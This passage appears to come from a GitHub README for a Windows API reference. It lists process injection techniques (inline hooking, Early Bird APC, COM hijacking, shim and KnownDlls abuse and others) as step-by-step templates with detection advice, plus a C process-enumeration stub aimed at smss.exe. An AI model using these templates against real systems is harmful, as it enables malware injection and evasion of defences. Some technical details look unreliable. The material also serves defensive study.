VirtualProtect(see above)memcpyvoid*memcpy(void*dest,constvoid*src,size_tcount);
Template:
- Locate the target function in memory
- Change the memory protection to writable using
VirtualProtect - Save the original instructions (usually 5 or more bytes)
- Overwrite the beginning of the function with a jump to the malicious code
- In the malicious code, execute the saved original instructions and then jump back to the original function
Detection and Defense:
- Implement function integrity checks to detect modifications to function prologues
- Use EDR solutions with capabilities to detect inline hooking
- Employ runtime analysis to identify unexpected changes in function execution flow
- Implement code signing and verification mechanisms for loaded modules
This technique uses debugging APIs to inject code into a target process. can be detected by anti-debugging checks in the target process.
Key APIs:
DebugActiveProcessBOOLDebugActiveProcess(DWORDdwProcessId);
WaitForDebugEventBOOLWaitForDebugEvent(LPDEBUG_EVENTlpDebugEvent,DWORDdwMilliseconds);
ContinueDebugEventBOOLContinueDebugEvent(DWORDdwProcessId,DWORDdwThreadId,DWORDdwContinueStatus);
Template:
- Attach to the target process as a debugger using
DebugActiveProcess - Wait for debug events with
WaitForDebugEvent - When a suitable event occurs, inject the malicious code using
WriteProcessMemory - Modify the thread context to execute the injected code
- Continue the debug event with
ContinueDebugEvent
Detection and Defense:
- Implement anti-debugging techniques in sensitive applications
- Monitor for suspicious use of debugging APIs
- Use EDR solutions with capabilities to detect debugger-based injection
- Employ runtime analysis to identify unexpected debugging events
This technique involves replacing legitimate COM objects with malicious ones to execute code when the COM object is instantiated. used for persistence, not just for injection.
Key APIs:
CoCreateInstanceHRESULTCoCreateInstance(REFCLSIDrclsid,LPUNKNOWNpUnkOuter,DWORDdwClsContext,REFIIDriid,LPVOID*ppv);
RegOverridePredefKeyLSTATUSRegOverridePredefKey(HKEYhKey,HKEYhNewHKey);
Template:
- Create a malicious COM object
- Modify the registry to replace the CLSID of a legitimate COM object with the malicious one
- When the application calls
CoCreateInstance, the malicious object will be instantiated instead
Detection and Defense:
- Implement COM object integrity checks
- Monitor for suspicious registry modifications related to COM objects
- Use application whitelisting to prevent unauthorized COM objects from loading
- Employ behavior-based detection to identify unexpected COM object instantiation
This technique involves creating a new section in a legitimate DLL and injecting code into it.
Key APIs:
LoadLibraryExHMODULELoadLibraryExA(LPCSTRlpLibFileName,HANDLEhFile,DWORDdwFlags);
VirtualAllocLPVOIDVirtualAlloc(LPVOIDlpAddress,SIZE_TdwSize,DWORDflAllocationType,DWORDflProtect);
VirtualProtectBOOLVirtualProtect(LPVOIDlpAddress,SIZE_TdwSize,DWORDflNewProtect,PDWORDlpflOldProtect);
Template:
- Load a legitimate DLL using
LoadLibraryExwithDONT_RESOLVE_DLL_REFERENCESflag - Allocate a new memory section using
VirtualAlloc - Copy the malicious code to the new section
- Modify the DLL's PE headers to include the new section
- Change the memory protection of the new section using
VirtualProtect - Execute the injected code
Detection and Defense:
- Implement DLL integrity checks to detect modifications
- Monitor for suspicious patterns of DLL loading and memory allocation
- Use EDR solutions with capabilities to detect phantom DLL hollowing
- Employ memory forensics tools to identify signs of DLL manipulation
This technique abuses the SetProp/GetProp Windows API functions to achieve code execution.
Key APIs:
SetPropBOOLSetPropA(HWNDhWnd,LPCSTRlpString,HANDLEhData);
GetPropHANDLEGetPropA(HWNDhWnd,LPCSTRlpString);
EnumPropsExintEnumPropsExW(HWNDhWnd,PROPENUMPROCEXWlpEnumFunc,LPARAMlParam);
Template:
- Find a target window using
FindWindoworEnumWindows - Allocate memory for the payload using
VirtualAllocEx - Write the payload to the allocated memory using
WriteProcessMemory - Use
SetPropto set a property on the window, with the payload address as the property value
- Create a custom window procedure that executes the payload
- Use
SetWindowLongPtrto replace the original window procedure with the custom one
- Trigger the execution by causing the window to enumerate its properties (e.g., by sending a message that causes a redraw)
Detection and Defense:
- Monitor for suspicious modifications to window properties
- Implement integrity checks for window properties
- Use EDR solutions with capabilities to detect PROPagate techniques
- Employ behavior-based detection to identify processes with unexpected changes in window properties
This technique injects code into a process during its initialization, before the main thread starts executing.
Key APIs:
CreateProcessBOOLCreateProcessA(LPCSTRlpApplicationName,LPSTRlpCommandLine,LPSECURITY_ATTRIBUTESlpProcessAttributes,LPSECURITY_ATTRIBUTESlpThreadAttributes,BOOLbInheritHandles,DWORDdwCreationFlags,LPVOIDlpEnvironment,LPCSTRlpCurrentDirectory,LPSTARTUPINFOAlpStartupInfo,LPPROCESS_INFORMATIONlpProcessInformation);
VirtualAllocEx(see above)WriteProcessMemory(see above)QueueUserAPC(see above)ResumeThread(see above)
Template:
- Create a new process in suspended state using
CreateProcesswithCREATE_SUSPENDEDflag - Allocate memory in the new process using
VirtualAllocEx - Write the payload to the allocated memory using
WriteProcessMemory - Queue an APC to the main thread using
QueueUserAPC, pointing to the payload - Resume the main thread using
ResumeThread
Detection and Defense:
- Monitor for process creation with the
CREATE_SUSPENDEDflag - Implement process initialization monitoring to detect unexpected code execution
- Use EDR solutions with capabilities to detect Early Bird injection techniques
- Employ behavior-based detection to identify processes with abnormal initialization patterns
This technique leverages the Windows Application Compatibility framework to inject code.
Key APIs:
SdbCreateDatabasePDBSdbCreateDatabase(LPCWSTRpwszPath);
SdbWriteDWORDTagBOOLSdbWriteDWORDTag(PDBpdb,TAGtTag,DWORDdwData);
SdbEndWriteListTagBOOLSdbEndWriteListTag(PDBpdb,TAGtTag);
Template:
- Create a shim database using
SdbCreateDatabase - Write shim data to the database, including the payload and target application
- Install the shim database using
sdbinst.exe - The payload will be executed when the target application is launched
Detection and Defense:
- Monitor for suspicious shim database creation and installation
- Implement application compatibility shim monitoring
- Use EDR solutions with capabilities to detect shim-based injection techniques
- Employ whitelisting for approved shims and block unauthorized shim installations
This technique uses memory-mapped files to inject code into a remote process.
Key APIs:
CreateFileMappingHANDLECreateFileMappingA(HANDLEhFile,LPSECURITY_ATTRIBUTESlpFileMappingAttributes,DWORDflProtect,DWORDdwMaximumSizeHigh,DWORDdwMaximumSizeLow,LPCSTRlpName);
MapViewOfFileLPVOIDMapViewOfFile(HANDLEhFileMappingObject,DWORDdwDesiredAccess,DWORDdwFileOffsetHigh,DWORDdwFileOffsetLow,SIZE_TdwNumberOfBytesToMap);
NtMapViewOfSection(Undocumented)NTSTATUSNTAPINtMapViewOfSection(HANDLESectionHandle,HANDLEProcessHandle,PVOID*BaseAddress,ULONG_PTRZeroBits,SIZE_TCommitSize,PLARGE_INTEGERSectionOffset,PSIZE_TViewSize,SECTION_INHERITInheritDisposition,ULONGAllocationType,ULONGWin32Protect);
Template:
- Create a file mapping object using
CreateFileMapping - Map a view of the file into the current process using
MapViewOfFile - Write the payload to the mapped view
- Use
NtMapViewOfSectionto map the view into the target process - Execute the payload in the target process
Detection and Defense:
- Monitor for suspicious patterns of file mapping and view creation
- Implement memory mapping monitoring to detect unexpected shared memory usage
- Use EDR solutions with capabilities to detect mapping injection techniques
- Employ behavior-based detection to identify processes with abnormal memory-mapped file usage
This technique involves replacing a legitimate DLL in the KnownDlls cache with a malicious one.
Key APIs:
NtSetSystemInformation(Undocumented)NTSTATUSNTAPINtSetSystemInformation(SYSTEM_INFORMATION_CLASSSystemInformationClass,PVOIDSystemInformation,ULONGSystemInformationLength);
Template:
- Create a malicious DLL with the same name as a legitimate KnownDlls entry
- Create a Section object for the malicious DLL:
- Use NtCreateSection to create a section object
- Map a view of the section into memory
- Write the malicious DLL content to the mapped view
- Use
NtSetSystemInformationwithSystemExtendServiceTableInformationto add the malicious DLL to the KnownDlls cache - The malicious DLL will be loaded instead of the legitimate one by processes
Detection and Defense:
- Implement KnownDlls integrity checks
- Monitor for modifications to the KnownDlls cache
- Use EDR solutions with capabilities to detect KnownDlls cache poisoning
- Employ whitelisting and code signing verification for DLLs in the KnownDlls cache
- Implement a robust Application Whitelisting strategy to prevent unauthorized executables and DLLs from running.
- Use Windows Defender Exploit Guard or similar technologies to enable Attack Surface Reduction (ASR) rules.
- Keep systems and software up-to-date with the latest security patches.
- Utilize User Account Control (UAC) and principle of least privilege to limit the impact of successful injections.
- Implement Network Segmentation to limit lateral movement in case of a successful attack.
- Use Runtime Application Self-Protection (RASP) technologies to detect and prevent injection attempts in real-time.
- Regularly perform threat hunting activities to proactively search for signs of injection techniques.
- Implement and maintain a robust Security Information and Event Management (SIEM) system to correlate and analyze security events.
- Conduct regular security awareness training for users to recognize and report suspicious activities.
- Perform regular penetration testing and red team exercises to identify vulnerabilities and improve defenses against injection techniques.
#include<stdio.h>#include<Windows.h>#include<tlhelp32.h>#include<errhandlingapi.h>// GetLastError#include<heapapi.h>// HeapCreate, HeapAlloc, HeapDestroy#include<strsafe.h>// StringCchPrintf#include<assert.h>#include<tchar.h>voidErrorExit(LPCTSTRlpszFunction);intProcessEnumerateAndSearch(constwchar_t*ProcessName,PROCESSENTRY32*lppe);intPrintProcessInfo(constPROCESSENTRY32*lppe);intPrintProcessInfo(constPROCESSENTRY32*lppe){assert(lppe);wprintf(L"PROCESS : %ls\n",lppe->szExeFile);intPID=static_cast<int>(lppe->th32ProcessID);if (PID==0) {wprintf(L"ERR : Process Not Found.\n");return0; }wprintf(L"PID : %i\n\n",PID);return1;}voidErrorExit(LPCTSTRfunctionName){ constexprDWORDFLAGS=FORMAT_MESSAGE_ALLOCATE_BUFFER |FORMAT_MESSAGE_FROM_SYSTEM |FORMAT_MESSAGE_IGNORE_INSERTS; constexprDWORDLANG_ID=MAKELANGID(LANG_NEUTRAL,SUBLANG_DEFAULT); constexprsize_tEXTRA_CHARS=40;DWORDerrorCode=GetLastError();LPTSTRmessageBuf=nullptr;FormatMessage(FLAGS,NULL,errorCode,LANG_ID, (LPTSTR)&messageBuf,0,NULL);if (messageBuf) {size_tfuncNameLen=_tcslen(functionName);size_tmessageLen=_tcslen(messageBuf);size_tbufSize= (funcNameLen+messageLen+EXTRA_CHARS)*sizeof(TCHAR);LPTSTRdisplayBuf=static_cast<LPTSTR>(LocalAlloc(LMEM_ZEROINIT,bufSize));if (displayBuf) {StringCchPrintf(displayBuf,LocalSize(displayBuf) /sizeof(TCHAR),TEXT("%s failed with error %d: %s"),functionName,errorCode,messageBuf);MessageBox(NULL,displayBuf,TEXT("Error"),MB_OK);LocalFree(displayBuf); }LocalFree(messageBuf); }ExitProcess(errorCode);}intProcessEnumerateAndSearch(constwchar_t*ProcessName,PROCESSENTRY32*lppe){assert(ProcessName&&lppe);HANDLEhSnapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);if (hSnapshot==INVALID_HANDLE_VALUE)ErrorExit(TEXT("CreateToolhelp32Snapshot"));lppe->dwSize=sizeof(PROCESSENTRY32);if (Process32First(hSnapshot,lppe)== FALSE) {CloseHandle(hSnapshot);ErrorExit(TEXT("Process32First")); }intpFoundFlag=0;do {size_twcProcessName=wcslen(ProcessName);if (wcsncmp(lppe->szExeFile,ProcessName,wcProcessName)==0) {if (!PrintProcessInfo(lppe))continue;pFoundFlag=1;break; } }while (Process32Next(hSnapshot,lppe));CloseHandle(hSnapshot);returnpFoundFlag;}intmain(intargc,char**argv){wchar_tpName[]=L"smss.exe";// process name we will be injectingPROCESSENTRY32lppe= {0 };if (ProcessEnumerateAndSearch(pName,&lppe)) {// do some stuff }else {return1; }return0;}
About
A reference of Windows API function calls, including functions for file operations, process management, memory management, thread management, dynamic-link library (DLL) management, synchronization, interprocess communication, Unicode string manipulation, error handling, Winsock networking operations, and registry operations.
Topics
Resources
Uh oh!
There was an error while loading.Please reload this page.
Stars
Watchers
Forks
Releases
Sponsor this project
Uh oh!
There was an error while loading.Please reload this page.
Packages0
Uh oh!
There was an error while loading.Please reload this page.
